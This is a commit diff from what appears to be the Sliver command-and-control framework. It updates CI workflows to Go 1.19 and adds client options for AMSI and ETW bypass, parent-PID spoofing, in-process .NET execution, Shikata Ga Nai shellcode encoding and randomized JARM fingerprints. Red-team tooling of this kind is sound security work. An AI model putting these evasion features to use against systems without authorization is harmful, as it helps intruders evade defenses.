Add support for HTTPS stagers

Go/v1.19

.github/CODEOWNERS

@@ -0,0 +1 @@
+* @BishopFox/red-team

.github/dependabot.yml

@@ -0,0 +1,16 @@
+# Basic set up for three package managers
+
+version: 2
+updates:
+
+  # Maintain dependencies for GitHub Actions
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+
+  # Maintain dependencies for go
+  - package-ecosystem: "gomod"
+    directory: "/"
+    schedule:
+      interval: "weekly"

.github/workflows/autorelease.yml

@@ -6,57 +6,55 @@ on:
     branches: [master, goreleaser]
 
 jobs:
-
   linux-windows-build:
     name: Linux & Windows Build
     if: startsWith( github.ref, 'refs/tags/v')
     runs-on: ubuntu-latest
     timeout-minutes: 45
     steps:
+      - name: Go 1.19
+        uses: actions/setup-go@v3
+        with:
+          go-version: "1.19.1"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.18'
-    
-    - name: OS Packages 
-      run: |
-        sudo apt-get update --fix-missing && sudo apt-get -y install \
-        git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Make
-      env:
-        ARTIFACT_SUFFIX: _linux
-      run: export PATH=/home/runner/go/bin/:$PATH && make linux
-  
-    - name: Linux Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: linux
-        path: ./sliver-*
+      - name: Make
+        env:
+          ARTIFACT_SUFFIX: _linux
+        run: export PATH=/home/runner/go/bin/:$PATH && make linux
 
-    - name: Make Windows
-      env: 
-        ARTIFACT_SUFFIX: _windows
-      run: |
-        make clean
-        export PATH=/home/runner/go/bin/:$PATH && make windows
+      - name: Linux Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: linux
+          path: ./sliver-*
 
-    - name: Windows Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: windows
-        path:  ./sliver-*
+      - name: Make Windows
+        env:
+          ARTIFACT_SUFFIX: _windows
+        run: |
+          make clean
+          export PATH=/home/runner/go/bin/:$PATH && make windows
+
+      - name: Windows Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: windows
+          path: ./sliver-*
 
   macos-build:
     name: MacOS Build
@@ -64,42 +62,40 @@ jobs:
     runs-on: macos-latest
     timeout-minutes: 45
     steps:
+      - name: Go 1.19
+        uses: actions/setup-go@v3
+        with:
+          go-version: "1.19.1"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.18'
+      - name: Mingw
+        run: brew install mingw-w64
 
-    - name: Mingw
-      run: brew install mingw-w64
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Make AMD64
+        env:
+          ARTIFACT_SUFFIX: _macos
+        run: make macos
 
-    - name: Make AMD64
-      env: 
-        ARTIFACT_SUFFIX: _macos
-      run: make macos
+      - name: Make ARM64
+        env:
+          ARTIFACT_SUFFIX: _macos-arm64
+        run: make macos-arm64
 
-    - name: Make ARM64
-      env: 
-        ARTIFACT_SUFFIX: _macos-arm64
-      run: make macos-arm64
-
-    - name: MacOS Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: macos
-        path: ./sliver-*
+      - name: MacOS Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: macos
+          path: ./sliver-*
 
   tagged-release:
-
     needs: [linux-windows-build, macos-build]
 
     name: "Tagged Release"
@@ -108,53 +104,52 @@ jobs:
     timeout-minutes: 45
 
     steps:
-  
-    - run: mkdir -p ./builds
-    - uses: actions/download-artifact@v2
-      with:
-        path: ./builds
+      - run: mkdir -p ./builds
+      - uses: actions/download-artifact@v3
+        with:
+          path: ./builds
 
-    - name: Extract Artifacts
-      run: |
-        mkdir -p ./artifacts
-        cp ./builds/linux/* ./artifacts
-        cp ./builds/windows/* ./artifacts
-        cp ./builds/macos/* ./artifacts
+      - name: Extract Artifacts
+        run: |
+          mkdir -p ./artifacts
+          cp ./builds/linux/* ./artifacts
+          cp ./builds/windows/* ./artifacts
+          cp ./builds/macos/* ./artifacts
 
-    - id: install-secret-key
-      name: GPG Key(s)
-      run: |
-        cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
-        gpg --list-secret-keys --keyid-format LONG
+      - id: install-secret-key
+        name: GPG Key(s)
+        run: |
+          cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
+          gpg --list-secret-keys --keyid-format LONG
 
-    # Linux
-    - name: Linux AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
-    
-    # Windows
-    - name: Windows AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
+      # Linux
+      - name: Linux AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
 
-    # MacOS AMD64
-    - name: MacOS AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
-  
-    # MacOS ARM64
-    - name: Package MacOS ARM64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
-  
-    - name: "Publish Release"
-      uses: "marvinpinto/action-automatic-releases@latest"
-      with:
-        repo_token: "${{ secrets.GITHUB_TOKEN }}"
-        prerelease: true
-        files: |
-          ./artifacts/*
+      # Windows
+      - name: Windows AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
+
+      # MacOS AMD64
+      - name: MacOS AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
+
+      # MacOS ARM64
+      - name: Package MacOS ARM64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
+
+      - name: "Publish Release"
+        uses: "marvinpinto/action-automatic-releases@latest"
+        with:
+          repo_token: "${{ secrets.GITHUB_TOKEN }}"
+          prerelease: true
+          files: |
+            ./artifacts/*

.github/workflows/codeql-scanning.yml

@@ -17,13 +17,13 @@ jobs:
 
     steps:
       # Setup go environment
-      - name: Go 1.18
-        uses: actions/setup-go@v2
+      - name: Go 1.19
+        uses: actions/setup-go@v3
         with:
-          go-version: "^1.18"
+          go-version: "1.19.1"
 
       - name: Checkout repository
-        uses: actions/checkout@v2
+        uses: actions/checkout@v3
         with:
           # Must fetch at least the immediate parents so that if this is
           # a pull request then we can checkout the head of the pull request.
@@ -55,14 +55,14 @@ jobs:
           && make install
 
       - name: Check out code into the Go module directory
-        uses: actions/checkout@v2
+        uses: actions/checkout@v3
 
       - name: Go Assets
         run: ./go-assets.sh
 
       # Initializes the CodeQL tools for scanning.
       - name: Initialize CodeQL
-        uses: github/codeql-action/init@v1
+        uses: github/codeql-action/init@v2
         with:
           config-file: ./.github/codeql/codeql-config.yml
           languages: go
@@ -72,6 +72,6 @@ jobs:
           make
 
       - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@v1
+        uses: github/codeql-action/analyze@v2
         env:
           VERSION: ${{github.sha}}

.github/workflows/go.yml

@@ -1,7 +1,7 @@
 name: Build & Test
 on:
   push:
-    branches: 
+    branches:
       - test/*
   pull_request:
     branches:
@@ -13,70 +13,67 @@ on:
       - ready_for_review
 
 jobs:
-
   linux-windows-build:
     name: Linux & Windows Build
     runs-on: ubuntu-latest
     timeout-minutes: 90
     steps:
+      - name: Go 1.19
+        uses: actions/setup-go@v3
+        with:
+          go-version: "1.19.1"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.18'
-    
-    - name: OS Packages 
-      run: |
-        sudo apt-get update --fix-missing && sudo apt-get -y install \
-        git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Make
-      run: make linux
+      - name: Make
+        run: make linux
 
-    - name: Test
-      run: ./sliver-server unpack --force && ./go-tests.sh
+      - name: Test
+        run: ./sliver-server unpack --force && ./go-tests.sh
+
+      - name: Make Windows
+        run: make windows
 
-    - name: Make Windows
-      run: make windows
-  
   macos-build:
     name: MacOS Build
     runs-on: macos-latest
     timeout-minutes: 90
     steps:
+      - name: Go 1.19
+        uses: actions/setup-go@v3
+        with:
+          go-version: "1.19.1"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.18'
+      - name: Mingw
+        run: brew install mingw-w64
 
-    - name: Mingw
-      run: brew install mingw-w64
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Make
+        run: make macos
 
-    - name: Make
-      run: make macos
-
-    - name: Test
-      env:
-        SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
-        SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
-      run: ./sliver-server unpack --force && ./go-tests.sh
+      - name: Test
+        env:
+          SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
+          SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
+        run: ./sliver-server unpack --force && ./go-tests.sh

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.18.4
+FROM golang:1.19.1
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -52,11 +52,10 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
 
 # Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
-ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
-RUN ./go-assets.sh
-
-# Compile sliver server
 ADD . /go/src/github.com/bishopfox/sliver/
+RUN make clean-all \
+    && ./go-assets.sh
+
 RUN make \
     && cp -vv sliver-server /opt/sliver-server \
     && /opt/sliver-server unpack --force 

Makefile

@@ -5,7 +5,7 @@
 GO ?= go
 ARTIFACT_SUFFIX ?= 
 ENV =
-TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
+TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
 
 
 #

client/assets/settings.go

@@ -35,6 +35,7 @@ type ClientSettings struct {
 	BeaconAutoResults bool   `json:"beacon_autoresults"`
 	SmallTermWidth    int    `json:"small_term_width"`
 	AlwaysOverflow    bool   `json:"always_overflow"`
+	VimMode           bool   `json:"vim_mode"`
 }
 
 // LoadSettings - Load the client settings from disk
@@ -59,6 +60,7 @@ func defaultSettings() *ClientSettings {
 		BeaconAutoResults: true,
 		SmallTermWidth:    170,
 		AlwaysOverflow:    false,
+		VimMode:           false,
 	}
 }
 

client/command/alias/load.go

@@ -28,6 +28,7 @@ import (
 	"path/filepath"
 	"strings"
 
+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
@@ -177,8 +178,15 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 				f.String("c", "class", "", "Optional class name (required for .NET DLL)")
 				f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
 				f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+				f.Bool("i", "in-process", false, "Run in the current sliver process")
+				f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
+				f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
+				f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
+
 			}
 			f.String("p", "process", "", "Path to process to host the shared object")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
+			f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
 			f.Bool("s", "save", false, "Save output to disk")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -272,6 +280,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	extArgs = strings.TrimSpace(extArgs)
 	entryPoint := aliasManifest.Entrypoint
+	processArgsStr := ctx.Flags.String("process-arguments")
+	if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
+		con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
+		confirm := false
+		prompt := &survey.Confirm{Message: "Do you want to continue?"}
+		survey.AskOne(prompt, &confirm, nil)
+		if !confirm {
+			return
+		}
+	}
+	processArgs := strings.Split(processArgsStr, " ")
 	processName := ctx.Flags.String("process")
 	if processName == "" {
 		processName, err = aliasManifest.getDefaultProcess(goos)
@@ -306,15 +325,21 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
 		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:   con.ActiveTarget.Request(ctx),
-			IsDLL:     isDLL,
-			Process:   processName,
-			Arguments: extArgs,
-			Assembly:  binData,
-			Arch:      ctx.Flags.String("arch"),
-			Method:    ctx.Flags.String("method"),
-			ClassName: ctx.Flags.String("class"),
-			AppDomain: ctx.Flags.String("app-domain"),
+			Request:     con.ActiveTarget.Request(ctx),
+			IsDLL:       isDLL,
+			Process:     processName,
+			Arguments:   extArgs,
+			Assembly:    binData,
+			Arch:        ctx.Flags.String("arch"),
+			Method:      ctx.Flags.String("method"),
+			ClassName:   ctx.Flags.String("class"),
+			AppDomain:   ctx.Flags.String("app-domain"),
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
+			InProcess:   ctx.Flags.Bool("in-process"),
+			Runtime:     ctx.Flags.String("runtime"),
+			AmsiBypass:  ctx.Flags.Bool("amsi-bypass"),
+			EtwBypass:   ctx.Flags.Bool("etw-bypass"),
 		})
 		ctrl <- true
 		<-ctrl
@@ -350,6 +375,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			ProcessName: processName,
 			EntryPoint:  aliasManifest.Entrypoint,
 			Kill:        true,
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
 		})
 		ctrl <- true
 		<-ctrl
@@ -386,6 +413,8 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			ProcessName: processName,
 			Kill:        true,
 			IsDLL:       isDLL,
+			ProcessArgs: processArgs,
+			PPid:        uint32(ctx.Flags.Uint("ppid")),
 		})
 		ctrl <- true
 		<-ctrl

client/command/beacons/beacons.go

@@ -109,7 +109,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
-	if con.Settings.SmallTermWidth < width {
+	wideTermWidth := con.Settings.SmallTermWidth < width
+	if wideTermWidth {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -119,6 +120,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			"Hostname",
 			"Username",
 			"Operating System",
+			"Locale",
 			"Last Check-in",
 			"Next Check-in",
 		})
@@ -141,42 +143,10 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 			color = console.Green
 		}
 
-		nextCheckin := time.Unix(beacon.NextCheckin, 0)
-		nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
-
-		var next string
-		var interval string
-
-		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
-
-			} else {
-				interval = time.Since(nextCheckin).Round(time.Second).String()
-			}
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
-		} else {
-			if con.Settings.SmallTermWidth < width {
-				interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
-			} else {
-				interval = time.Until(nextCheckin).Round(time.Second).String()
-			}
-
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
-		}
-
 		// We need a slice of strings so we can apply filters
 		var rowEntries []string
 
-		/*
-			Round the duration to the nearest second to be more output friendly.
-			We deal in seconds for everything, so it makes sense to show outputs
-			in seconds to remain consistent.
-		*/
-		timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
-		lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
-
-		if con.Settings.SmallTermWidth < width {
+		if wideTermWidth {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -186,8 +156,9 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
-				next,
+				fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
 			}
 		} else {
 			rowEntries = []string{
@@ -196,8 +167,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
 				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
-				next,
+				con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
+				con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
 			}
 		}
 		// Build the row struct

client/command/commands.go

@@ -23,7 +23,7 @@ package command
 
 	Guidelines when adding a command:
 
-		* Try to reuse the same short/long flags for the same paramenter,
+		* Try to reuse the same short/long flags for the same parameter,
 		  e.g. "timeout" flags should always be -t and --timeout when possible.
 		  Try to avoid creating flags that conflict with others even if you're
 		  not using the flag, e.g. avoid using -t even if your command doesn't
@@ -42,6 +42,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/backdoor"
 	"github.com/bishopfox/sliver/client/command/beacons"
 	"github.com/bishopfox/sliver/client/command/completers"
+	"github.com/bishopfox/sliver/client/command/cursed"
 	"github.com/bishopfox/sliver/client/command/dllhijack"
 	"github.com/bishopfox/sliver/client/command/environment"
 	"github.com/bishopfox/sliver/client/command/exec"
@@ -65,10 +66,12 @@ import (
 	"github.com/bishopfox/sliver/client/command/reaction"
 	"github.com/bishopfox/sliver/client/command/reconfig"
 	"github.com/bishopfox/sliver/client/command/registry"
+	"github.com/bishopfox/sliver/client/command/rportfwd"
 	"github.com/bishopfox/sliver/client/command/screenshot"
 	"github.com/bishopfox/sliver/client/command/sessions"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/command/shell"
+	sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
 	"github.com/bishopfox/sliver/client/command/socks"
 	"github.com/bishopfox/sliver/client/command/tasks"
 	"github.com/bishopfox/sliver/client/command/update"
@@ -454,6 +457,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "cert", "", "PEM encoded certificate file")
 			f.String("k", "key", "", "PEM encoded private key file")
 			f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
+			f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -478,7 +482,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
 			f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
 			f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
-			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
+			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
+			f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
+			f.Bool("P", "prepend-size", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -514,7 +520,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Reconfigure the active beacon/session",
 		LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("n", "name", "", "change implant name to")
 			f.String("r", "reconnect-interval", "", "reconnect interval for implant")
 			f.String("i", "beacon-interval", "", "beacon callback interval")
 			f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
@@ -714,6 +719,28 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
+	tasksCmd.AddCommand(&grumble.Command{
+		Name:     consts.CancelStr,
+		Help:     "Cancel a pending beacon task",
+		LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
+			f.Int("S", "skip-pages", 0, "skip the first n page(s)")
+			f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("id", "beacon task ID", grumble.Default(""))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			tasks.TasksCancelCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
 	con.App.AddCommand(tasksCmd)
 
 	// [ Use ] --------------------------------------------------------------
@@ -875,6 +902,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Args: func(a *grumble.Args) {
 			a.String("session", "session ID", grumble.Default(""))
 		},
+		Completer: func(prefix string, args []string) []string {
+			return use.BeaconAndSessionIDCompleter(prefix, args, con)
+		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
 			info.InfoCmd(ctx, con)
@@ -985,6 +1015,33 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.SliverHelpGroup,
 	})
 
+	// [ Shellcode Encoders ] --------------------------------------------------------------
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ShikataGaNai,
+		Help:     "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
+		LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
+		Args: func(a *grumble.Args) {
+			a.String("shellcode", "binary shellcode file path")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.String("s", "save", "", "save output to local file")
+
+			f.String("a", "arch", "amd64", "architecture of shellcode")
+			f.Int("i", "iterations", 1, "number of iterations")
+			f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			sgn.ShikataGaNaiCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	// [ Exec ] --------------------------------------------------------------
 
 	con.App.AddCommand(&grumble.Command{
@@ -1000,6 +1057,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("O", "stdout", "", "remote path to redirect STDOUT to")
 			f.String("E", "stderr", "", "remote path to redirect STDERR to")
 			f.String("n", "name", "", "name to assign loot (optional)")
+			f.Uint("P", "ppid", 0, "parent process id (optional, Windows only)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1030,9 +1088,15 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "class", "", "Optional class name (required for .NET DLL)")
 			f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
 			f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+			f.Bool("i", "in-process", false, "Run in the current sliver process")
+			f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
 			f.Bool("s", "save", false, "save output to file")
 			f.Bool("X", "loot", false, "save output as loot")
 			f.String("n", "name", "", "name to assign loot (optional)")
+			f.Uint("P", "ppid", 0, "parent process id (optional)")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
+			f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
+			f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1063,6 +1127,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
 			f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
 			f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
+			f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
+			f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
+			f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1076,10 +1143,13 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
+			f.Bool("w", "unicode", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
 			f.Bool("s", "save", false, "save output to file")
 			f.Bool("X", "loot", false, "save output as loot")
 			f.String("n", "name", "", "name to assign loot (optional)")
